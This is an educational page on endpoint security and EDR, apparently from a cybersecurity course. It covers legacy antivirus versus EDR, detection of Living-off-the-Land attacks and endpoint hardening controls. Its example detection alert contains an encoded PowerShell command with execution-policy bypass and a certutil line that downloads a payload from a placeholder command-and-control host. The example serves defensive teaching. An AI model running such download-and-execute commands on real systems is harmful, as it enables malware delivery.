Cybersecurity Domain 6

Endpoint Security & EDR Architecture

Securing workstations, laptops, mobile hardware, and IoT devices using Next-Gen Antivirus (NGAV), EDR telemetry, process monitoring, and device encryption.

1. Evolution of Endpoint Security

Endpoints (workstations, laptops, servers, mobile devices) represent the primary attack surface targeted by threat actors. Modern endpoint security has evolved from traditional signature-based Antivirus (AV) to continuous behavioral analysis powered by Endpoint Detection & Response (EDR) and XDR.

Legacy Antivirus (AV)

Compares file hashes against static signature databases. Blind to fileless malware, Living-off-the-Land (LotL) scripts, and polymorphic code.

Endpoint Detection & Response (EDR)

Monitors kernel-level telemetry (process lineage, API calls, memory allocations) to detect anomalies in real-time and isolate compromised hosts automatically.

2. Detecting Living-off-the-Land (LotL) Attacks

Modern adversaries exploit legitimate administrative utilities built into the OS (e.g., PowerShell, certutil.exe, bitsadmin.exe, wmic.exe) to evade static detection. EDR analyzes parent-child process relationships to flag malicious execution:

SUSPICIOUS PROCESS LINEAGE DETECTED:
winword.exe (Word Document)
   └── cmd.exe /c powershell -ExecutionPolicy Bypass -enc SQBFAFgA...
         └── certutil.exe -urlcache -split -f http://malicious-c2.com/payload.exe
               └── payload.exe (Ransomware Execution)

-> ACTION TAKEN BY EDR AGENT:
1. Immediately terminate process tree (PID 4892).
2. Quarantine host network adapter via software firewall.
3. Alert SOC via High-Severity Incident Trigger.
      

3. Core Endpoint Hardening Controls

Full Disk Encryption (FDE): Enforcing BitLocker (Windows) or FileVault (macOS) tied to TPM 2.0 chips to protect data at rest if a device is stolen.
Host-based Intrusion Prevention (HIPS): Filtering incoming & outgoing socket connections at the host level using Windows Defender Firewall or iptables.
Device & Removable Media Control: Restricting USB mass storage devices by Vendor ID / Product ID to block BadUSB attacks and unauthorized data exfiltration.
Automated Patch Management: Scanning endpoints for OS & third-party software vulnerabilities (CVSS > 7.0) and deploying patches within 14 days.
Mobile Device Management (MDM): Enforcing remote wipe capabilities, passcode policies, and containerized work apps via Microsoft Intune or Jamf.